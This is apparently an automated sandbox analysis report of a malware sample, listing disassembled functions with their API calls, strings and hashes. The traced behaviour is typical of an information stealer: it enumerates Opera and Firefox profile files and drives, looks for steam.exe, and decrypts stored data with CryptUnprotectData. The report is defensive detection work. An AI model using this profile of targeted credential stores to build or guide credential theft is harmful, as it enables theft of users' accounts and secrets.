
APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,\*.*,0043682A,0040CC6B,?,?), ref: 0040BFC5
StrCmpCA.SHLWAPI(?,00437468), ref: 0040BFE5
StrCmpCA.SHLWAPI(?,0043746C), ref: 0040BFFF
StrCmpCA.SHLWAPI(?,Opera,0043683F,0043683E,0043683B,0043683A,0043682F,0043682E,0043682B), ref: 0040C08B
StrCmpCA.SHLWAPI(?,Opera GX), ref: 0040C099
StrCmpCA.SHLWAPI(?,Opera Crypto), ref: 0040C0A7

Strings

Opera GX, xrefs: 0040C091
Opera, xrefs: 0040C083
Opera Crypto, xrefs: 0040C09F
\*.*, xrefs: 0040BF73

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: Opera$Opera Crypto$Opera GX$\*.*
API String ID: 2567437900-1710495004
Opcode ID: e258de7ccfbc88b05f5c81bac4ff2d3afe5409b36e155eb4ecc11438824dd699
Instruction ID: 43a180df3a40888611b9bc63fd138cfc61139bc166fa6bbd32faf21f9be861c8
Opcode Fuzzy Hash: e258de7ccfbc88b05f5c81bac4ff2d3afe5409b36e155eb4ecc11438824dd699
Instruction Fuzzy Hash: 0A021C71A401299BCF21FB26DD466CD7775AF14308F4111EAB948B3192DBB86FC98F88

Function 0041510B Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 146stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 0041518B
_memset.LIBCMT ref: 004151AE
GetDriveTypeA.KERNEL32(?), ref: 004151B7
lstrcpyA.KERNEL32(?,?), ref: 004151D7
lstrcpyA.KERNEL32(?,?), ref: 004151F2

Part of subcall function 00414C91: wsprintfA.USER32 ref: 00414CE5
Part of subcall function 00414C91: FindFirstFileA.KERNEL32(?,?), ref: 00414CFC
Part of subcall function 00414C91: _memset.LIBCMT ref: 00414D18
Part of subcall function 00414C91: _memset.LIBCMT ref: 00414D29
Part of subcall function 00414C91: StrCmpCA.SHLWAPI(?,004369F0), ref: 00414D4A
Part of subcall function 00414C91: StrCmpCA.SHLWAPI(?,004369F4), ref: 00414D64
Part of subcall function 00414C91: wsprintfA.USER32 ref: 00414D8B
Part of subcall function 00414C91: StrCmpCA.SHLWAPI(?,0043660F), ref: 00414D9F
Part of subcall function 00414C91: wsprintfA.USER32 ref: 00414DC8
Part of subcall function 00414C91: _memset.LIBCMT ref: 00414DF1
Part of subcall function 00414C91: lstrcatA.KERNEL32(?,?), ref: 00414E06

lstrcpyA.KERNEL32(?,00000000), ref: 00415213
lstrlenA.KERNEL32(?), ref: 0041528D

Strings

%DRIVE_FIXED%, xrefs: 004151F9
%DRIVE_REMOVABLE%, xrefs: 004151DE
*%DRIVE_REMOVABLE%*, xrefs: 00415158
*%DRIVE_FIXED%*, xrefs: 00415127

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _memset$lstrcpywsprintf$Drive$FileFindFirstLogicalStringsTypelstrcatlstrlen
String ID: %DRIVE_FIXED%$%DRIVE_REMOVABLE%$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*
API String ID: 441469471-147700698
Opcode ID: f70cf054bfd7bd7e94db886a0c78c7f8cbac8e648d4c2e9bfbea61fcf2319709
Instruction ID: 33988f82ecf00ecfecbf54fa49c5e198ae7918e1112ab762dfb202f2d3925810
Opcode Fuzzy Hash: f70cf054bfd7bd7e94db886a0c78c7f8cbac8e648d4c2e9bfbea61fcf2319709
Instruction Fuzzy Hash: 6C512BB190021CEFDF219FA5CC85BDD7BB9FB09344F1040AAEA48A6111EB355E89CF59

Function 00401D80 Relevance: 16.3, APIs: 8, Strings: 1, Instructions: 529fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

FindFirstFileA.KERNEL32(?,?,0043A9A4,0043A9A8,004369F7,004369F3,004178D1,?,00000000), ref: 00401FA4
StrCmpCA.SHLWAPI(?,0043A9AC), ref: 00401FD7
StrCmpCA.SHLWAPI(?,0043A9B0), ref: 00401FF1
FindFirstFileA.KERNEL32(?,?,0043A9B4,0043A9B8,?,0043A9BC,004369FE), ref: 004020DD

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

FindNextFileA.KERNEL32(?,?), ref: 004023A2
FindClose.KERNEL32(?), ref: 004023B6
FindNextFileA.KERNEL32(?,?), ref: 004026C6
FindClose.KERNEL32(?), ref: 004026DA

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00416E60: CreateThread.KERNEL32(00000000,00000000,00416D8F,?,00000000,00000000), ref: 00416EFF
Part of subcall function 00416E60: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F07

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416E60: Sleep.KERNEL32(000003E8,?,?), ref: 00416EC7

Strings

\*.*, xrefs: 00401E9E

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$Find$lstrcpy$Close$CreateFirstNextlstrcat$AllocAttributesFolderHandleLocalObjectPathReadSingleSizeSleepSystemThreadTimeWaitlstrlen
String ID: \*.*
API String ID: 1116797323-1173974218
Opcode ID: a8bf6b8a1bbf949445419f740e838100d6b56cbc23c90292a132eddbfa0ac242
Instruction ID: ed5af609bec326d0062dbff95383bd39b1ead299d8f4602d20846ca86c3f1f11
Opcode Fuzzy Hash: a8bf6b8a1bbf949445419f740e838100d6b56cbc23c90292a132eddbfa0ac242
Instruction Fuzzy Hash: A232FD71A401299BCF21FB25DD4A6CD7375AF04308F5110EAB548B71A1DBB86FC98F98

Function 0040D5C6 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 229fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,00437568,004368A7,?,?,?), ref: 0040D647
StrCmpCA.SHLWAPI(?,0043756C), ref: 0040D668
StrCmpCA.SHLWAPI(?,00437570), ref: 0040D682
StrCmpCA.SHLWAPI(?,prefs.js,00437574,?,004368AA), ref: 0040D70E

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

CopyFileA.KERNEL32(?,?,00000001,00437584,004368AB), ref: 0040D7E8
DeleteFileA.KERNEL32(?), ref: 0040D8B3
FindNextFileA.KERNELBASE(?,?), ref: 0040D956
FindClose.KERNEL32(?), ref: 0040D96A

Strings

prefs.js, xrefs: 0040D702

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextSystemTimelstrlen
String ID: prefs.js
API String ID: 893096357-3783873740
Opcode ID: 634b7fc9e1e4146c0777374abaf4df2ac2920775f24ce2ea54d16a3fec128fc6
Instruction ID: f0de32090b7dce6908d980c7617605791c8f857f036f1e47a574a7a376f50030
Opcode Fuzzy Hash: 634b7fc9e1e4146c0777374abaf4df2ac2920775f24ce2ea54d16a3fec128fc6
Instruction Fuzzy Hash: F7A11C71D002289BDF60FB65DD46BCD7375AF04318F4101EAA808B7292DB79AEC98F95

Function 0040B5DF Relevance: 13.7, APIs: 9, Instructions: 217fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,0043741C,0043681E,?,?,?), ref: 0040B657
StrCmpCA.SHLWAPI(?,00437420), ref: 0040B678
StrCmpCA.SHLWAPI(?,00437424), ref: 0040B692
StrCmpCA.SHLWAPI(?,00437428,?,0043681F), ref: 0040B71F
StrCmpCA.SHLWAPI(?), ref: 0040B780

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 0040ABE5: CopyFileA.KERNEL32(?,?,00000001,004373C8,0043680E,?,?,?), ref: 0040AC8A

FindNextFileA.KERNELBASE(?,?), ref: 0040B8EB
FindClose.KERNEL32(?), ref: 0040B8FF

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFind$lstrcat$CloseCopyFirstNextlstrlen
String ID:
API String ID: 3801961486-0
Opcode ID: baebc1a45e7aaf119752818707689ceabc917cd867de663b480ae7ed75caf7ad
Instruction ID: 6eade11b5287164ec315b678d4b3624fac53bcab2c480334ad0619cdb008763a
Opcode Fuzzy Hash: baebc1a45e7aaf119752818707689ceabc917cd867de663b480ae7ed75caf7ad
Instruction Fuzzy Hash: E9812D7290021C9BCF20FB75DD46AD97779AB04308F4541A6EC08B3291EB789E998FD9

Function 004124A8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 004124B2
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004124D4
Process32First.KERNEL32(00000000,00000128), ref: 004124E4
Process32Next.KERNEL32(00000000,00000128), ref: 004124F6
StrCmpCA.SHLWAPI(?,steam.exe), ref: 00412508
CloseHandle.KERNEL32(00000000), ref: 00412521

Strings

steam.exe, xrefs: 004124B7, 00412500

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID: steam.exe
API String ID: 1799959500-2826358650
Opcode ID: 270479e608ad90a1cb49832d6e2defcf0ae6c318d63da32e91448cda09a55697
Instruction ID: 832c8eeaa0435aaa3924ee45a0bd64730d5fba57cdeeabd7c0a836480c04b591
Opcode Fuzzy Hash: 270479e608ad90a1cb49832d6e2defcf0ae6c318d63da32e91448cda09a55697
Instruction Fuzzy Hash: DB012170A01228DFDB60DB64DD84BDEB7F9AB08311F8001E6E409E2290EB399F818B14

Function 00410DDB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

GetKeyboardLayoutList.USER32(00000000,00000000,00436707,?,?), ref: 00410E0C
LocalAlloc.KERNEL32(00000040,00000000), ref: 00410E1A
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410E28
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E57

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

LocalFree.KERNEL32(00000000), ref: 00410EFF

Strings

/ , xrefs: 00410E73

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcatlstrlen
String ID: /
API String ID: 507856799-4001269591
Opcode ID: f32aa89b2440cd7c55fdd797d272bb351a0e1ff3bbd0df8fca087d200ca2fb36
Instruction ID: 2173a9732f610b1f78059f20e2b8cd6bee3a191057d87b7466e738c1724c3436
Opcode Fuzzy Hash: f32aa89b2440cd7c55fdd797d272bb351a0e1ff3bbd0df8fca087d200ca2fb36
Instruction Fuzzy Hash: 19314F71900228AFCB20EF65DD89BDEB3B9AB04304F5005EAF519A3152D7B86EC58F54

Function 0041257F Relevance: 9.0, APIs: 6, Instructions: 37processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00412589
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417DFA,.exe,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC,00436CA8,00436CA4,00436CA0,00436C9C), ref: 004125A8
Process32First.KERNEL32(00000000,00000128), ref: 004125B8
Process32Next.KERNEL32(00000000,00000128), ref: 004125CA
StrCmpCA.SHLWAPI(?), ref: 004125DC
CloseHandle.KERNEL32(00000000), ref: 004125F0

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID:
API String ID: 1799959500-0
Opcode ID: 0c6284ae7c1ec9dd4d13a2abcc82e192040c6f7185e804528e3340ab270b4888
Instruction ID: 594a7061626f7aa0e5dc5c5f65b44de449b8684d73101f1e988e2d9d137db561
Opcode Fuzzy Hash: 0c6284ae7c1ec9dd4d13a2abcc82e192040c6f7185e804528e3340ab270b4888
Instruction Fuzzy Hash: D00186316002249FDB61DB60DD44FEEB7FD9F14301F8400E6E40DD2251EA798F949B25

Function 004080A1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080D8
LocalFree.KERNEL32(0040CB95,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080FD

Strings

DPAPI, xrefs: 004080A9

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID: DPAPI
API String ID: 2068576380-1690256801
Opcode ID: 68541e4e27b52eb825a4d6409286c391da9f85c95d41b42c5068ab7ee50209a7
Instruction ID: 09c146c598fe2db9e3360274f95d94fd5a71afecc77b7c133579c0d37eeb6d97
Opcode Fuzzy Hash: 68541e4e27b52eb825a4d6409286c391da9f85c95d41b42c5068ab7ee50209a7
Instruction Fuzzy Hash: 5901ECB5A01218EFCB04DFA8D88489EBBB9FF48754F158466E906E7341D7719F05CB90

Function 004114A5 Relevance: 6.1, APIs: 4, Instructions: 56processCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0043673D,?,?), ref: 004114D4
Process32First.KERNEL32(00000000,00000128), ref: 004114E4
